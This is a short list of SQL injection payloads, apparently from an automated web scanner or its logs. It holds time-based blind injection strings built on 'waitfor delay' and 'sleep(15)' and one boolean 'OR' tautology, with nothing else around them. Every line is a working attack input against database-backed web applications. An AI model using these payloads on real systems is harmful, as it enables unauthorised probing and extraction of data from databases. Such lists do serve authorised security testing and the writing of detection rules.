-1" OR 5*5=25 or "k3aFhnTl"="

-1); waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0)

-1)); waitfor delay '0:0:15' --


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1 waitfor delay '0:0:15' --


0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

21ilXjGP'; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

u0yDqLGC'); waitfor delay '0:0:15' --